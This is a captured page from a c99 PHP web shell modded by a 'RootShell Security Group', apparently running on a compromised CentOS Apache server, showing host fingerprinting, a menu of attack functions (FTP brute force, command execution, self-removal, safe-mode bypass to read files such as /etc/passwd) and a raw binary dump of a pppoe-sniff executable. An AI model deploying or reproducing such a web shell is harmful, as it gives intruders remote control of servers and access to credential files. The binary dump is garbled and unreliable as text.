!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/sbin/   drwxr-xr-x
Free 52.27 GB of 127.8 GB (40.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pppoe-sniff (15.92 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ELF4:4 (4441112(((  Qtd/lib/ld-linux.so.2GNU	  &" "K9uI4Y6i, 5vQ
C="0?)<<I7"9<_$pv<`E>ptM:;Mq5.^^^^^_8_<_L_p_____t̿п0Կؿܿٳii
'ii
1p!t"	

 $(,048<@DHLPTX\`U1!5%%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@%hX0%h` %hh% hp%$hx%(h%,h%0h%4h%8h%<h%@h%Dhp%Hh`%LhP%Ph@%Th0%Xh %\h%`h1^PTRhhЧQVhFUS[,:tX[ÐU=xthҡhuxÐUtt	$ÐUWVEUfEfUE=tAE$t$MUljE¡^_]U$D$ED$D$$$
$UE$$qUpED$D$$pD$D$	D$$pD$%D$,$pD$D$-D$$dwpD$D$$jpD$D$)D$$5pD$D$ND$$pD$D$CD$$\pD$D$D$$$*L$qUQ$zEItVt,Jt
$t$3D$$#$B$#D$BD$$E}Tu
%D$D$$EpD$D$@D$$D$D$E$_$P9<u}<uo<udD$D$$$GxB$fpD$D$,D$$8|D$D$E$uxc$&P9wA<u3<u%u$f
mpD$D$5D$$htuNf=cuAf=du4pD$D$qD$$DžpD$D$QD$$kt+tpD$D$f$Gf=cu
f=dt2
pT$D$D$x$Dž$Y]aUQ$wD$ED$D$$6$xÐU(E@$fElf9Et)nf9EtED$D$Ϭ$EUhEfEE@@@@EE$D$ED$E$GE}y$9u$x$D$ED$D$D$E$y$&}D$ED$EЉ$LEЉD$D$'E$y$1MEЍPBfAEft+ED$D$H$f$Et+ED$D$h$+$_D$ED$EЉ$EЉD$D$!E$y$E=:ED$D$ED$D$$$fE$ fED$ED$EЉ$EЉD$D$3E$(y$'EEED$D$E$hy$?EUED$D$ED$E$|y$D]EEEUD$D$ED$E$‹EEy$VEEEÐUS$E@$SfEE@<t1E@D$D$$<EkE@<t1E@D$D$ή$E,f}v(ED$D$$EEEEfEffEEfEffEf}uEUE)EPE9~%ED$D$	$EPUM]ED$T$L$$EEEEUE)E9EE$[]UWV0EfEE@${fEE@<t1E@D$D$$dEnE@<t1E@D$D$ή$%E/f}v(ED$D$$EEEEfEffEEfEffEf}uEUE)EPE9~%ED$D$	$FESEf;EuEEUljEE+EEEUE)E9EE0^_]UpUT$D$'$ED$D$2$UW$EE}Ѓ$E}u$5oED$E$KE$_]U EE‹EffEEEEf)EUMBAEE	EEf¸!ЈEE¸!ЈEEEEEEEEEEEE
EEEEfmf}wf}tEEUEEEuEUVSPEE@t$E@<!EEE)2E@E@<!tEEE*E@$ZEE;EE%@E؃E؃tpE؃	<_EE؉EԋEԃ
3EԉD$E؉$fEf}t!ED$D$C$Eԃ%EԉEEԃE@E>EEă}t}tEE܃<tiE؃؋E؃E؃
ЋE؃ȋE܃\$t$T$L$D$D$X$#E܉EE܃<wiE؃؋E؃E؃
ЋE؃ȋE܃\$t$T$L$D$D$$_E܃E܃}uE;E}t{EEEE;EsPUEUEEԃEԃEԉD$E؉$fEEԃEfP[^]UWVSEfEE@fE@UBfAUHBfAl$fƅE@fEf@E@,t`$4f$!fPM荕BAEfE}EЃE$fE$fPED$$ME荕ljEEEEfEfEE@HfU荅)ËE@J$=~D$$E@J$QUHEljE@J$'EEE@J$	fEfEE(fU荅)ËE*$=~D$$E*$U(EljE*$[EEE*$:fEfEE$f
E‹EHT$D$L$E$E@@tDEP@D$ׯD$$@E@@D$$
0E@@$bD$ܯ$[^_]U(ED$ED$D$$ED$E$U(EUfEfUEE}th}}tUED$T$D$$U
pED$T$D$$UED$T$D$($U
pED$T$D$A$HUED$T$D$[$VU
pED$T$D$u$qÐU(}t}~?E<u5E<#u(ED$D$2D$$԰/EEETE;E}%EED$D$E$#ED$D$D$$
EE;EED$D$D$$qEEcE;E}fEE%@tEEЋED$$OED$$.:EE;EED$$
EE;EUWVS|E@$hEE$#fE}BD$E܉$E܉E؋MDžMb)ȉEE؉$?EED$D$D$$ED$ED$D$D$E$lf9EuED$D$/E$Enf9EuED$D$?E$ED$D$ME$E@(	tegeW2ED$D$D$$[
ED$D$D$$aED$D$D$$gyED$D$D$$mQED$D$D$$s)mED$D$D$$yHED$D$D$$#ED$D$D$$E@$XЋED$T$D$E$E@ЋE@ȋE@؋E@E@EE@E@
E@	E@E@E@T$4L$0\$,t$(|$$T$ L$T$L$T$L$D$D$E$E@$#UD$T$E$|[^_]ÐU]Ít&'UWVS^ E )E}Ut+1ƍED$ED$E$9}u߃[^_]Ë$ÐUStЋu[]US[hPY[$Id: pppoe-sniff.c,v 1.7 2002/04/09 17:28:39 dfs Exp $%.256s: %.256sUsage: %s [options]
Options:
eth0   -I if_name     -- Specify interface (default %s.)
   -V             -- Print version and exit.
3.5
PPPoE Version %s, Copyright (C) 2000 Roaring Penguin Software Inc.
PPPoE comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it under the terms
of the GNU General Public License, version 2 or any later version.
http://www.roaringpenguin.com
pppoe-sniff: Roaring Penguin PPPoE Version %s
I:VSniffing for PADR.  Start your connection on another machine...

Excellent!  Sniffed a likely-looking PADR.
Wonderful!  Sniffed a likely-looking session packet.

Great!  It looks like a standard PPPoE service.
You should not need anything special in the configuration file.

OK, looks like you need something special in the configuration file.
Try this:

SERVICENAME='%s'
 PPPOE_EXTRA='-f %x:%x'
$Id: if.c,v 1.16 2002/07/08 14:28:40 dfs Exp $Invalid ether type 0x%xCannot create raw socket -- pppoe must be run as root.socketsetsockoptioctl(SIOCGIFHWADDR)Interface %.16s is not EthernetInterface %.16s has broadcast/multicast MAC address??ioctl(SIOCGIFMTU)Interface %.16s has MTU of %d -- should be %d.  You may have serious connection problems.ioctl(SIOCFIGINDEX): Could not get interface indexbindsend (sendPacket)recv (receivePacket)$Id: common.c,v 1.15 2002/04/24 18:32:59 dfs Exp $Invalid PPPoE version (%d)Invalid PPPoE type (%d)Invalid PPPoE packet length (%u)Invalid PPPoE tag length (%u)pppoe: %s
%sstrdup failedBad TCP checksum %xBogus length for MSS option (%u) from %u.%u.%u.%uBogus TCP option length (%u) from %u.%u.%u.%uWould create too-long packetSENTSent PADTPADT: Service-Name-Error: %.*sPADT: Service-Name-Error: %.*s
PADT: System-Error: %.*sPADT: System-Error: %.*s
PADT: Generic-Error: %.*sPADT: Generic-Error: %.*s
$Id: debug.c,v 1.5 2002/05/31 14:28:18 dfs Exp $(PAP Authentication Frame -- Contents not dumped)
%02x      %H:%M:%S%s.%03d %s PPPoE Discovery (%x) Session (%x) Unknown (%x) PADI PADO PADR PADS PADT PADM PADN SESS sess-id %d length %d
SourceAddr %02x:%02x:%02x:%02x:%02x:%02x DestAddr %02x:%02x:%02x:%02x:%02x:%02x
h
hoHt
;pXo(oooo(õopОg? %e@ClDpٳ ppkP<Pjв 0p4 noǵcd`e__gmon_start__libc.so.6_IO_stdin_usedsocketfflushstrcpyexithtonssprintfstrncpygetpidstrftimesyslogsend__errno_locationbindgetoptvsnprintffputcrecvsetsockoptmalloc__ctype_b_locoptargstderrioctlfwritegettimeofdaylocaltimefprintfstrerror__libc_start_mainntohsfreeGLIBC_2.3GLIBC_2.0/lib/ld-linux.so.2pppoe-sniff.debugELF4\44 (444111t2(((  Qtd(( !oHH,+tt03;;oFHo((0W	XX`	ppihhdouhh({(U	 1122222dd3pp3 p33.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.gnu_debuglink.dynbss.gnu.liblist.gnu.conflict.gnu.prelink_undo(( !oHH,+tt0o(̃;oFHo((0W	XX`	ppihhdouhh({(U	 1122222dd3pp3xx333N449

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.006 ]--